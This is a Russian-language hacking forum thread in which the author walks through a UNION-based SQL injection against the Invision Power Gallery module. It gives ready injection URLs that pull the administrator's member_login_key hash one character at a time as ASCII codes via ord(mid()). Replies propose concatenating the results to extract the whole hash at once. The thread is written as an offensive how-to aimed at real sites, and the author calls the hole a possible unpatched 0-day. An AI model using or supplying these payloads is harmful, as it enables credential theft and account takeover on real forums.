![]() |
SQL-injection: целочисленные SELECT результаты и как с ними бороться.
SQL-injection: целочисленные SELECT результаты и как с ними бороться.
Что делать, если результат вывода select запроса может быть только целочисленным? Первое, что приходит в голову - посимвольный перебор через blind sql-injection технику. Но есть вариант несколько проще. Статья не претендует на что-то новое, это просто материал для тех, "кто не догадался". И вообще это не статья, а гавно. Однако вот она, читайте. Рассмотрим небольшой пример на Invision Power Gallery (модуль к IPB). Кстати, возможно это 0-day уявзимость и работает на последних версиях - не проверял. Вообщем, она тут: http://x/index.php?act=module&module=gallery&cmd=si&img=[INJECT-SQL-HERE] Запрос, который будет выполнятся: SELECT id, caption, masked_file_name, directory, media, thumbnail FROM whb_gallery_images WHERE album_id=1 AND id > [INJECT-SQL-HERE] Итак, первая проблема с которой мы столкнемся - $_GET['id'] не может быть равным 0 или отрицательным. И запрос, соответственно всегда будет выполнятся нормально, не передавая "управление" второму, внедряемому нами UNION SELECT. Решается просто: в качестве $_GET['id'] вбиваем 1-1 и получаем 0 Вот. Идем далее. В первом запросе у нас 6 колонок используется, подставляем: http://x/index.php?act=module&module=gallery&cmd=si&img=1-1+union+select+11,22,33,44,55,66/* Вывод 11 будет в ссылке на одну из картинок в галлерее. Нам требуется хэш администратора (member_login_key) пользователя с id=1 (администратора), все это в таблице ibf_members. Тогда запрос будет такой: http://x/index.php?act=module&module=gallery&cmd=si&img=1-1+union+select+member_login_key,0,0,0,0,0+from+ibf _members+where+id=1+limit+0,1/* И вместо результата SQL-запроса получаем 0. Мы не будем использовать посимвольный перебор через blind sql-injection, а пойдем следующим путем: В хэше md5 у нас 32 символа. Будем брать каждый символ и конвертировать его в ASCII-код, тем самым получая целочисленный результат. Реализуется это с помощью встроенных в MySQL фукнций MID() и ORD(). Нагло выдерну инфу о них из доки по адресу: http://www.mysql.ru/docs/maryan/ Цитата:
Цитата:
http://x/index.php?act=module&module=gallery&cmd=si&img= 1-1+union+select+ord(mid(member_login_key,2,1)),0,0, 0,0,0+from+ibf_members+where+id=1+limit+0,1/* Декодировать этот символ можно с помощью PHP-функции chr($char). Все это дело лучше автоматизировать, ибо 32 раза обращаться за каждый символом хэша это извращение, тем более если это придется проделывать не один раз. Вот моя реализация, не везде тестировалось и наверняка не везде будет работать из-за функции парсера (см. в сторону preg_match_all(), $sql_responce) - короче, кому надо разбирутся. Код:
<?phpЦитата:
Cytech, 09.01.2008 hellknights.void.ru forum.web-hack.ru |
а нельзя ли клеить ответы хеша через пару нулей?
|
Цитата:
оформи получьше |
А как вариант можно использовать?
concat(ord(mid(member_login_key,1,1)),0x20,ord(mid (member_login_key,2,1)),0x20,...) и так 32 символа) |
Talisman
Цитата:
AFoST Цитата:
Код:
сoncat_ws(0x20, ord(mid(member_login_key,1,1)),ord(mid (member_login_key,2,1)),...)Цитата:
|
мда, не статья, а нелепое описание функции ord
|
Цитата:
Цитата:
|
>> И вообще это не статья, а гавно
Согласен с ТС. Не стоило "гавно" так раскатывать, мог бы в одну какашечку всё уткнуть. ЗЫ Гавно пишется через О. |
Цитата:
|
| Время: 23:27 |